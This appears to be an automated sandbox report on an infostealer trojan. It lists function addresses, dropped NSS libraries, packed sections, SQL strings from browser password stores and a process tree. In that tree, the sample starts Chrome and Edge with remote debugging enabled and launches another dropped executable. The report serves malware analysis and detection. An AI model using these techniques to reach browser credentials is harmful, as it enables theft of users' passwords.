Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9764D0	13_2_6C9764D0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9CA4D0	13_2_6C9CA4D0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9BA430	13_2_6C9BA430
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C994420	13_2_6C994420
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C948460	13_2_6C948460
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9245B0	13_2_6C9245B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9BE5F0	13_2_6C9BE5F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9FA5E0	13_2_6C9FA5E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C988540	13_2_6C988540
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA34540	13_2_6CA34540
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9D0570	13_2_6C9D0570
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA78550	13_2_6CA78550
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C992560	13_2_6C992560
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9546D0	13_2_6C9546D0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C98E6E0	13_2_6C98E6E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9CE6E0	13_2_6C9CE6E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C98C650	13_2_6C98C650
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C95A7D0	13_2_6C95A7D0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9B0700	13_2_6C9B0700
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C928090	13_2_6C928090
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0C0B0	13_2_6CA0C0B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9400B0	13_2_6C9400B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9F8010	13_2_6C9F8010
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9FC000	13_2_6C9FC000
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C97E070	13_2_6C97E070
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9301E0	13_2_6C9301E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA14130	13_2_6CA14130
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9A6130	13_2_6C9A6130
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C998140	13_2_6C998140
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA022A0	13_2_6CA022A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9FE2B0	13_2_6C9FE2B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CAB62C0	13_2_6CAB62C0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA08220	13_2_6CA08220
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9FA210	13_2_6C9FA210
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C8250	13_2_6C9C8250
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9B8260	13_2_6C9B8260
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C98E3B0	13_2_6C98E3B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9623A0	13_2_6C9623A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9843E0	13_2_6C9843E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9A2320	13_2_6C9A2320
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA4C360	13_2_6CA4C360
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C938340	13_2_6C938340
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA72370	13_2_6CA72370
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C932370	13_2_6C932370
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C6370	13_2_6C9C6370
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA6DCD0	13_2_6CA6DCD0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9F1CE0	13_2_6C9F1CE0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C941C30	13_2_6C941C30
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C933C40	13_2_6C933C40
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA59C40	13_2_6CA59C40
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C923D80	13_2_6C923D80
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA79D90	13_2_6CA79D90
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA01DC0	13_2_6CA01DC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C993D00	13_2_6C993D00
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C953EC0	13_2_6C953EC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA3DE10	13_2_6CA3DE10
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CAB5E60	13_2_6CAB5E60
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA8BE70	13_2_6CA8BE70
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C951F90	13_2_6C951F90
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA4DFC0	13_2_6CA4DFC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CAB3FC0	13_2_6CAB3FC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9DBFF0	13_2_6C9DBFF0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA87F20	13_2_6CA87F20
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C925F30	13_2_6C925F30
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C965F20	13_2_6C965F20
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0F8F0	13_2_6CA0F8F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA8B8F0	13_2_6CA8B8F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C93D8E0	13_2_6C93D8E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9638E0	13_2_6C9638E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C98D810	13_2_6C98D810
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C941980	13_2_6C941980
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA01990	13_2_6CA01990
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9699D0	13_2_6C9699D0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C99C0	13_2_6C9C99C0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9959F0	13_2_6C9959F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C79F0	13_2_6C9C79F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA7F900	13_2_6CA7F900
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E5920	13_2_6C9E5920
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9ED960	13_2_6C9ED960
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0DAB0	13_2_6CA0DAB0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C931AE0	13_2_6C931AE0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C96FA10	13_2_6C96FA10
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA2DA30	13_2_6CA2DA30
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CAB9A50	13_2_6CAB9A50
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C921B80	13_2_6C921B80
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9F9BB0	13_2_6C9F9BB0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA15B90	13_2_6CA15B90
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C989BA0	13_2_6C989BA0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C977BF0	13_2_6C977BF0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C97BB20	13_2_6C97BB20
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0FB60	13_2_6CA0FB60
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CAB14A0	13_2_6CAB14A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9314E0	13_2_6C9314E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9BD410	13_2_6C9BD410
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA19430	13_2_6CA19430
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C969590	13_2_6C969590
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9B55F0	13_2_6C9B55F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C945510	13_2_6C945510
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C997500	13_2_6C997500
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA7F510	13_2_6CA7F510
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9616A0	13_2_6C9616A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9996A0	13_2_6C9996A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9A7610	13_2_6C9A7610
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C959600	13_2_6C959600
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C949650	13_2_6C949650
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C985640	13_2_6C985640
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9BB7A0	13_2_6C9BB7A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA737C0	13_2_6CA737C0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA09720	13_2_6CA09720
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C99D710	13_2_6C99D710
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C953720	13_2_6C953720
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E7090	13_2_6C9E7090
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C97B020	13_2_6C97B020
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C92D050	13_2_6C92D050

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: String function: 6C953620 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: String function: 6C98C5E0 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: String function: 6C959B10 appears 110 times
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: String function: 6CA69F30 appears 51 times

Source: V65xPrgEHH.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: V65xPrgEHH.exe	Static PE information: Section: ZLIB complexity 0.9973646190068494
Source: V65xPrgEHH.exe	Static PE information: Section: slndhbsj ZLIB complexity 0.9951195181980907
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: Section: fphnutar ZLIB complexity 0.994525219378095
Source: random[1].exe.13.dr	Static PE information: Section: ZLIB complexity 0.9983182901907357
Source: GIEHIDHJDB.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9983182901907357
Source: skotes.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9983182901907357

Source: random[1].exe.13.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: GIEHIDHJDB.exe.13.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.24.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@40/55@5/8

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6C990300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

13_2_6C990300

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Mutant created: NULL
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4980:120:WilError_03

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

File created: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 5XYR1IZSU740RQ8S.exe, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: V65xPrgEHH.exe, 00000000.00000003.2242230287.0000000005875000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219164220.0000000005868000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2242014973.0000000005882000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219484775.000000000584A000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729045135.0000000005A49000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2865816745.0000000005A3D000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.13.dr, IDGIJEGHDAECAKECAFCA.13.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139126370.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.13.dr, softokn3.dll.13.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: V65xPrgEHH.exe	Virustotal: Detection: 54%
Source: V65xPrgEHH.exe	ReversingLabs: Detection: 52%

Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

File read: C:\Users\user\Desktop\V65xPrgEHH.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\V65xPrgEHH.exe "C:\Users\user\Desktop\V65xPrgEHH.exe"
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process created: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe "C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe"
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process created: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe "C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe"
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2224,i,14232946858736540846,14705278479212829889,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2240,i,8471859797131499959,491410908596195355,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2016,i,11248231860674350639,8152344142954779347,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIEHIDHJDB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GIEHIDHJDB.exe "C:\Users\user\Documents\GIEHIDHJDB.exe"
